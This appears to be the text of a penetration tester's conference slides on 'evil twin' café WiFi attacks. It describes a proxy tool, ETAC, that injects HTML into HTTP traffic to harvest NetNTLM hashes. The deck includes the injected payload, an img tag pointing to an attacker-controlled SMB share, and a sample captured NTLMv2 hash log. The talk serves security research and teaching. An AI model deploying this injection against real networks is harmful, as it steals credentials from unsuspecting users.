
1

How to: Actually attack 
computers at cafes

Felix Ryan
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Who am I?

- I’m Felix
- I’m a pen tester
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Why this research?

- Masters degree dissertation
- Client didn’t just take my word for it

- Couldn’t find a tool
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Open WiFi MitM Condition
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What can you do with
MitM conditions

- Listen to the communication
- Change the communication

- Stop the communication
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What I set out to do

- Create evil WiFi networks
- MitM some users

- Grab creds
- Politely inform my client that they were wrong 

(and “ner ner nee ner ner”)
- Convinced this would be easy...
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It turns out that encryption
is a thing…

- can be done at all the layers
- not much plaintext auth these days

- confirmed I needed another way of getting creds
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The idea

Go from this:
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The idea

To this:
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What I actually did

- Used a WiFi Pineapple
- Set up a wireless network to simulate a cafe
- Called it “DANGER ZONE – DO NOT USE”

(and still got random people connecting)
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It looked a bit like this:
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Developed a tool

- Butchered someone else’s tool into submission
(Responder.py in particular)

- Added my own code
- Sulked in the corner when it didn’t work

- Repeat
- Eventually have some success
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My tool

A transparent proxy that injects HTML tags into 
HTTP responses such as:

<img src=“file://evilmachine/share/image.jpg” />

Couldn’t get plaintext creds
Got NetNTLM hashes instead

ETAC = Evil Twin Authentication Capture
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Windows auth

Windows 7 test machine
Kept with default config

This means IE…
Remember:  NetNTLM auth is the goal
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Windows Auth - The dot rule

I needed a DNS 
server
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The final attack flow
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The Challenges

So far so good?
Ehhh… not quite
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HTTP is a pain

- Coding this without many libraries
- Random HTTP status codes

- Different HTTP versions
- HTTP request headers

(Compression / Encoding / Caching / Ranges / Connection status / content types)

- “Normal” error handling
- Differences in declared and transparent proxies

- Response size and browser behaviour
- Chunking
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Transaction size and chunking

Transfer-Encoding: chunked

1cfe (chunk size markers)

Response ends with 
'\r\n0\r\n\r\n'

Transfer-Encoding: chunked

(but no chunk markers)

Response ends with 
'\r\n0\r\n\r\n'

Content-Length: 244271

Declared size of response:

Chunked Transfer Encoding (CTE):
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Successes and failures
- Active Directory joined vs unjoined

[*] HTML poisoning performed (SrcAdd=172.16.42.117 DstHost=stackoverflow.com RxConn=0)
...SNIP...
[SMB] NTLMv2-SSP Client : 172.16.42.117
[SMB] NTLMv2-SSP Username : IE11WIN7\IEUser
[SMB] NTLMv2-SSP Hash :
IEUser::IE11WIN7:1122334455667788:B6EC84566FB6ADFDA7FFD18DB6FD5DF3:010100000000002F5B9F1C37CDD101F
F3B86...SNIP...F31BC8BC3F48005DB1E6B426C66DEBE9EA92316671CC10A001000000000000000000000000000000000
0900260063006900660073002F00680074006D006C0069006E006A006500630074002E006C0061006E0000000000000000
[SMB] Requested Share: \\EVIMACHINE\SHARE

(damn you Kerberos!)
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Summary

- Tool is on GitHub
- Could develop it further

- AD joined workstation = boo
- Non-AD = yay
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Questions?

x@yg.ht

https://github.com/yg-ht/ETAC
(moving to gitlab… brb)

Thanks to all those who’s tools I abused
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